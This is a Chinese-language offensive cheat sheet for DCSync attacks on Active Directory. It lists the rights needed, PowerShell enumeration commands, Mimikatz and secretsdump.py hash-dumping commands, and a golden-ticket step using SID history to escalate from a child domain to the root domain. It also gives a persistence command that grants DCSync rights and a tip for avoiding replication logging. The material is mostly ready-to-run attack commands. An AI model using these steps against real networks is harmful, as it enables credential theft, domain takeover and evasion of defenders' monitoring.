权限:管理员 | DCSync rights
描述:
攻击者通过滥用 Windows DC 的 API,使用 DCSync 技术模拟来自远程 DC 的复制过程,从而访问证书或其他敏感信息
DCSync 攻击是指攻击者冒充 DC,要求从一个特定的 DC 复制更改,该 DC 将数据发送给攻击者,其中包括账户哈希值。
默认情况下以下组有权执行此操作:
- Administrators
- Domain Admins
- Enterprise Admins
- Domain Controllers
然而,在一个配置不正确的环境中,有可能找到拥有所需个人权限的用户,而不在上述任何一个组中。这些个人权限是
- Replicating Directory Changes
- Replicating Directory Changes All
- Replicating Directory Changes In Filtered Set
:::info
在开始 DC Sync 攻击之前,我们必须了解自己的目标是什么?虽然我们应该始终去寻找特权凭证,但是这些特权用户是备受关注的,很容易被发现。所以我们的目标是 接近特权的凭证
- 在几台机器上有本地管理员权限凭证:通常情况下,组织会在所有的计算机上有一两个本地管理员权限的组,这些组通常被分为 工作站组和服务器组,通过收获这些组成员的凭证,我们仍可以访问组织内的大部分计算机
- 具有委派权限的账户: 我们可以强制使用 金银票 进行 Kerberos 委派攻击
- 特权 AD 账户: 如果我们破坏了诸如Exchange、Windows Server Update Services(WSUS)或System Center Configuration Manager(SCCM)等特权服务的账户,我们就可以利用AD的漏洞再次获得特权的立足点
:::
利用
枚举
:::info 枚举具有所需权限的用户
:::
Get-ObjectACL "DC=security,DC=local" -ResolveGUIDs | ? {
($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ObjectAceType -match 'Replication-Get')
}
# OR
Get-ObjectAcl -DistinguishedName "DC=Security,DC" -ResolveGUIDs | ?{($_.IdentityReference -match "studentx") -and (($_.ObjectType -match 'replication') -or ($_.ActiveDirectoryRights -match 'GenericAll'))}
//AD自带工具
dsacls "DC=ring2,DC=com"
// powershell activedirectory module
import-module activedirectory
get-acl "AD:\DC=ring2,DC=com" |Select-Object -ExpandProperty Access
我们可以获取单个 SID 并尝试识别相关的用户主体名称 (UPN)
Get-ADUser -Identity S-1-5-21-2543357152-2466851693-2862170513-1121
Get-ADGroup -Identity S-1-5-21-2543357152-2466851693-2862170513-527
攻击
Mimikatz
lsadump::dcsync /domain:<Domain> /user:<Users-Hash-To-Dump>
lsadump::dcsync /domain:security.local /user:new_admin
lsadump::dcsync /user:security\krbtgt"
Secretsdump.py
Secretsdump.py 可以用于转储所有域 hash 前提是具有执行复制权限的账户&密码
sudo python2 secretsdump.py <Domain>/<User>:<Password>@<IP>
sudo python2 secretsdump.py security/Moe:'Password123!'@10.10.10.10
与SID History结合,提权横移至根域
在WINDOWS3上拿到了子域dev.testlab.local的hash,如何感染根域testlba.local
dev.testlab.local domain SID: S-1-5-21-4275052721-3205085442-2770241942
testlab.local domain SID: S-1-5-21-456218688-4216621462-1491369290
# 1. Dcsync the child
lsadump::dcsync /user:dev\krbtgt
# 2. 伪造子域DC$黄金票据: 用户名SECONDARY$,所属组:S-1-5-21-456218688-4216621462-1491369290-516(testlab.local Domain Controllers), S-1-5-9(Enterprise Domain Controllers), 从而有权限对根域做DCSync
kerberos::golden /user:SECONDARY$ /krbtgt:8b7c904343e530c4f81c53e8f614caf7 /domain:dev.testlab.local /sid:S-1-5-21-4275052721-3205085442-2770241942 /groups:516 /sids:S-1-5-21-456218688-4216621462-1491369290-516,S-1-5-9 /id:S-1-5-21-4275052721-3205085442-2770241942-1002 /ptt
# 3. Dcsync the 根域testlab.local
lsadump::dcsync /domain:testlab.local /dc:Primary.testlab.local /user:testlab\krbtgt
# 4. 清理伪造的票据
kerberos::purge
维持
使用 PowerView
授予用户 DCSync 权限
Add-ObjectACL -TargetDistinguishedName "DC=Security,DC=local" -PrincipalSamAccountName 'Moe' -Rights DCSync
:::info 为什么要使用DC$?
为了在对根域testlab.local做DCSync时不触发DS-Replication-Get-Changes日志记录
:::